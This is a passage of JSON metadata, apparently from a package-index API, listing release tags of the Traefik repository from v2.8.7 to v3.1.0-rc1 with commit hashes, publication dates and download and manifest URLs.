"https://github.com/traefik/traefik/releases/tag/v3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.1.0-rc1/manifests"},{"name":"v3.0.3","sha":"53a8bd76f21835e457ee730bb73839cf99e77db1","kind":"commit","published_at":"2024-06-18T14:10:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.3/manifests"},{"name":"v2.11.5","sha":"385ff5055ce29cb6c0eed4a2b700776729adfbc1","kind":"commit","published_at":"2024-06-18T10:00:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.5/manifests"},{"name":"v3.0.2","sha":"8ea339816ab2c8b60e1642d772d669548584db96","kind":"commit","published_at":"2024-06-10T14:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.2/manifests"},{"name":"v2.11.4","sha":"21c6edcf58b80bb3fcfcae25b4fd193fb58db3ac","kind":"commit","published_at":"2024-06-10T13:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.4/manifests"},{"name":"v3.0.1","sha":"736f37cb583550bf62d98970ee289771d6b5c1c5","kind":"commit","published_at":"2024-05-22T13:08:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.1/manifests"},{"name":"v2.11.3","sha":"f02b223639d67217e400392f44688cc20b055f23","kind":"commit","published_at":"2024-05-21T14:16:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.3/manifests"},{"name":"v3.0.0","sha":"d99d2f95e66a28ee8180634dc80fdf13ba68c62a","kind":"commit","published_at":"2024-04-29T14:06:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0/manifests"},{"name":"v3.0.0-rc5","sha":"da7bb5fc25ab21d6a8f5ff6ca44eeaddc47ee210","kind":"commit","published_at":"2024-04-11T16:24:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc5/manifests"},{"name":"v2.11.2","sha":"b9b75277620cb6d07c1342aa497323a8fac9cddd","kind":"commit","published_at":"2024-04-11T15:36:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.2/manifests"},{"name":"v3.0.0-rc4","sha":"83a5c5cfbde4706878281ae9e9755d1100e136ac","kind":"commit","published_at":"2024-04-10T14:34:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc4/manifests"},{"name":"v2.11.1","sha":"d53f5f01a0fec0aa037ff8249dfd5a478a0f32b4","kind":"commit","published_at":"2024-04-10T09:52:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.1/manifests"},{"name":"v3.0.0-rc3","sha":"9b6af61d1bba7c1095e960c658a8c4ba7ace32a6","kind":"commit","published_at":"2024-03-13T15:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc3/manifests"},{"name":"v3.0.0-rc2","sha":"c06629459d1088823dbf26dc23b0f13f22c27c2b","kind":"commit","published_at":"2024-03-12T14:18:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc2/manifests"},{"name":"v3.0.0-rc1","sha":"014fdfc4ec55113e130eae498c20aba91fe1406f","kind":"commit","published_at":"2024-02-13T13:38:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-rc1/manifests"},{"name":"v2.11.0","sha":"0c8778639a3cade0cf73aa26f56f822a4fb835e8","kind":"commit","published_at":"2024-02-12T15:14:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0/manifests"},{"name":"v2.11.0-rc2","sha":"547cd815997d6b29468dcfc6da7f2fba5655da9a","kind":"commit","published_at":"2024-01-24T14:20:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0-rc2/manifests"},{"name":"v2.11.0-rc1","sha":"9adf0fb638d9c252a079459263c1b2635302331e","kind":"commit","published_at":"2024-01-03T10:12:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.0-rc1/manifests"},{"name":"v2.10.7","sha":"0a7964300166d167f68d5502bc245b3b9c8842b4","kind":"commit","published_at":"2023-12-06T15:42:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.7/manifests"},{"name":"v3.0.0-beta5","sha":"b2bb96390a1f7cf8bcc67838c6cf1cf2638f6113","kind":"commit","published_at":"2023-11-29T15:08:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-beta5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-beta5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-beta5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta5/manifests"},{"name":"v2.10.6","sha":"dae0491b612ae9d706ffa2f0faa941bce00f0c01","kind":"commit","published_at":"2023-11-28T14:46:10.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.6/manifests"},{"name":"v3.0.0-beta4","sha":"c7cd0df3b38c228ac781b0a61b9d57dc68920aad","kind":"commit","published_at":"2023-10-12T07:48:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-beta4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-beta4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-beta4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta4/manifests"},{"name":"v2.10.5","sha":"6a34f238ceb13cb0a81d5d131fdfe1ff2e425f33","kind":"commit","published_at":"2023-10-11T13:50:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.5/manifests"},{"name":"v2.10.4","sha":"0bd367ebbdcd6eb7e203549f799c7345320cd58f","kind":"commit","published_at":"2023-07-24T14:44:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.4/manifests"},{"name":"v3.0.0-beta3","sha":"52d2d959afdfe86884d691314a301a387532671c","kind":"commit","published_at":"2023-06-21T23:18:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-beta3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-beta3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-beta3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta3/manifests"},{"name":"v2.10.3","sha":"7741c68eaa719d114c6d7444c965b7ae373e46a6","kind":"commit","published_at":"2023-06-19T16:14:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.3/manifests"},{"name":"v2.10.2","sha":"aae76408e22d173137cd5551bd0b955f21f40807","kind":"commit","published_at":"2023-06-19T10:00:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.2/manifests"},{"name":"v2.10.1","sha":"7805c683e3336501cf168f40d5d03d4b73431783","kind":"commit","published_at":"2023-04-27T14:46:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"bb4eb32b1c2247c83a65246ac46b8eb11404560d","kind":"commit","published_at":"2023-04-24T13:38:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0/manifests"},{"name":"v2.10.0-rc2","sha":"e8878fe6ac4a03f0fa1b11e1ad4e263ab0984747","kind":"commit","published_at":"2023-04-07T09:00:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0-rc2/manifests"},{"name":"v2.9.10","sha":"4ed3964b3586565519249bbdc55eb1b961c08c49","kind":"commit","published_at":"2023-04-06T16:10:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.10","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.10/manifests"},{"name":"v2.10.0-rc1","sha":"be702c2b612148785d4431fb9bc310d95e2e3cbc","kind":"commit","published_at":"2023-03-22T10:06:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.10.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.10.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.10.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.10.0-rc1/manifests"},{"name":"v2.9.9","sha":"a020ab640dda87c1334d9578b155dd60717a3b68","kind":"commit","published_at":"2023-03-21T15:47:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.9","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.9/manifests"},{"name":"v2.9.8","sha":"2e6e5cbd031f84046b46fc5c0f927b854d8df1ce","kind":"commit","published_at":"2023-02-15T15:02:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.8/manifests"},{"name":"v2.9.7","sha":"cfef9d9df2d7520bd006c51fd3510c1a38af58d7","kind":"commit","published_at":"2023-02-14T15:09:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.7/manifests"},{"name":"v3.0.0-beta2","sha":"e54ee89330a800d509da7b11b46a6ecbb331e791","kind":"commit","published_at":"2022-12-07T16:26:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-beta2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta2/manifests"},{"name":"v2.9.6","sha":"d97d3a6726ad6e50110dd2ff2b552a8b17eeed55","kind":"commit","published_at":"2022-12-07T14:14:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.6/manifests"},{"name":"v3.0.0-beta1","sha":"519ed8bde58e9ebc6d9618a38a351208820cf273","kind":"commit","published_at":"2022-12-05T15:58:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.0.0-beta1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.0.0-beta1/manifests"},{"name":"v2.9.5","sha":"f6b7940b761abe0d16ee4b03588a0318481d86d8","kind":"commit","published_at":"2022-11-17T14:57:23.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.5/manifests"},{"name":"v2.9.4","sha":"454f552691015d5f01041f61ae0cca0cff5d5d5d","kind":"commit","published_at":"2022-10-27T18:40:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.4/manifests"},{"name":"v2.9.3","sha":"725804840371c77cd2648d2f3661c4039200bb7b","kind":"commit","published_at":"2022-10-27T15:50:54.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.3/manifests"},{"name":"v2.9.2","sha":"15f747209130b9db440aea90f815a2aa85e68b6d","kind":"commit","published_at":"2022-10-27T14:53:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"bc79796c388516cc5fca037f1afb4bf658469691","kind":"commit","published_at":"2022-10-03T14:17:58.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.1/manifests"},{"name":"v2.9.0-rc5","sha":"ae7db879d92da017f8172e9d78b2d596dfea1e8f","kind":"commit","published_at":"2022-09-30T13:02:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc5/manifests"},{"name":"v2.8.8","sha":"3812e6f3cbc31725b8909a226ccec5f29ae59de8","kind":"commit","published_at":"2022-09-30T10:03:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.8/manifests"},{"name":"v2.8.7","sha":"615dc7fd355f2624618c25e43f43356713f634dc","kind":"commit","published_at":"2022-09-23T14:22:38.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.7/manifests"},{"name":"v2.9.0-rc4","sha":"52b6b057f02d20135f50ebfd6904edb883452651","kind":"commit","published_at":"2022-09-23T14:01:00.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2